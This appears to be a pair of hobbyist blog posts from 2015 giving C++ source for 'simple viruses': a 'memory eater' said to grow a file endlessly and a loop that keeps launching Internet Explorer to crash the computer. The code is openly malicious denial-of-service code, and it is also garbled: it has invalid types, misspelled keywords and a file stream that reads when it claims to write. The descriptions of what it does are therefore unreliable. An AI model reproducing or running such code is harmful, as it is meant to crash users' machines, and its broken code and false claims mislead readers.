Thursday, 4 June 2015

Simple virus in c++ (memory eater)

  //Memory Eater 

#include<iostream.h>
#include<fstream.h>
#include<conio.h>

int main()
{
clrscr() ;

Long double Int *K=9999999;   //largest memory data type

ifstream fp;
fp.fopen("viral.dll",ios::in);

while(1)
fp>>*K;   //store value in file infinitely 

fp.close();

}

RUN this program you will notice that file will be created and it's size start increasing continously. 

By:-  KESHAV JOSHI 

Monday, 4 May 2015

To make a easy and simple virus in C/C++

//My 1st post(simple virus in c++)

#include<dos.h>
#include<process.h>
Int main(void)
{
         For(;;)         //   Infinite loop
 System("C:\\progra~1\\intern~1\\iexplore.exe") ;
   
// It's a dos command which open Explorer infinitely and lead to computer crash 

return 0;
}

By:-  KESHAV JOSHI